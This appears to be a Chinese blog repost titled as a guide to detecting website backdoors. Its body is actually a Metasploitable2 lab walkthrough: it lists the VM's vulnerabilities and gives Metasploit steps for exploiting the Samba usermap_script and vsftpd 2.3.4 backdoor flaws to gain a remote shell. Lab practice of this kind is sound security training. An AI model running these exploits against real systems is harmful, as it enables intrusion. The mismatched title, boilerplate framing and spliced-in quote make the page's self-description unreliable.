在线网站源码分享后门检测(web后门检测)

很多朋友对于在线网站源码分享后门检测和web后门检测不太懂，今天就由小编来为大家分享，希望可以帮助到大家，下面一起来看看吧！

为什么年轻时都会颓废堕落一段时间，因为现实否定了我们内心的世界观。。。

—-网易云热评

一、Metasploitable2简介

Metasploitable2虚拟系统是一个特别制作的ubuntu操作系统，本身设计目的是作为安全工具测试和演示常见漏洞攻击的环境。其中最重要的是可以用来作为MSF攻击用的靶机。

开放了很多的高危端口如21、23、445等，而且具有很多未打补丁的高危漏洞，如SambaMS-RPCShell命令注入漏洞等，而且对外开放了很多服务，并且数据库允许外联等。系统中的用户口令均为弱口令。系统搭载了DVWA、Mutillidae等Web漏洞演练平台。

Metasploitable2是一个虚拟机文件，从网上下载解压之后就可以直接使用，不需要自己安装。

下载地址：https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

用户名：msfadmin密码：msfadmin

二、Metasploitable2漏洞列表

1、弱口令漏洞(如vnc、mysql、PostgreSQL等)

2、SambaMS-RPCShell命令注入漏洞

3、Vsftpd源码包后门漏洞

4、UnreallRCd后门漏洞

5、LinuxNFS共享目录配置漏洞

6、JavaRMISERVER命令执行漏洞

7、Tomcat管理台默认口令漏洞

8、root用户弱口令漏洞(SSH爆破)

9、Distcc后门漏洞

10、Sambasysmlink默认配置目录遍历漏洞

11、PHPCGI参数注入执行漏洞

12、DRuby远程代码执行漏洞

13、Ingreslock后门漏洞

14、Rlogin后门漏洞

三、SambaMS-RPCShell命令注入漏洞

漏洞产生原因：传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh，在smb.conf中，导致允许远程命令执行。

攻击机：kalilinuxIP：192.168.1.133

靶机：Metasploitable2IP：192.168.1.131

1、启动数据库并且打开metasploit控制台：msfconsole

2、搜索可利用的模块：searchsamba

3、选择要利用的模块：useexploit/multi/samba/usermap_script

查看需要设置的参数：showoptions

需要设置目标ip和端口（默认139）

4、设置目标主机地址：192.168.1.131

5、运行：run此时已建立shell连接

6、查看目标主机目录文件：ls

四、Vsftpd源码包后门漏洞

漏洞产生原因：在特定版本的vsftpd服务器程序中，被人恶意植入代码，当用户名以“:)”为结尾，服务器就会在6200端口监听，并且能够执行任意恶意代码。

攻击机：kalilinuxIP：192.168.1.133

靶机：Metasploitable2IP：192.168.1.136

1、搜索可用攻击模块：searchvsftpd

2、选择要利用的模块：useexploit/unix/ftp/vsftpd_234_backdoor

查看需要设置的参数：showoptions

需要设置目标ip和端口（默认21）

3、设置目标主机地址：192.168.1.136

4、运行：run此时已建立shell连接

5、查看目标主机目录文件：ls

禁止非法，后果自负

欢迎关注公众号：web安全工具库

关于在线网站源码分享后门检测和web后门检测的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。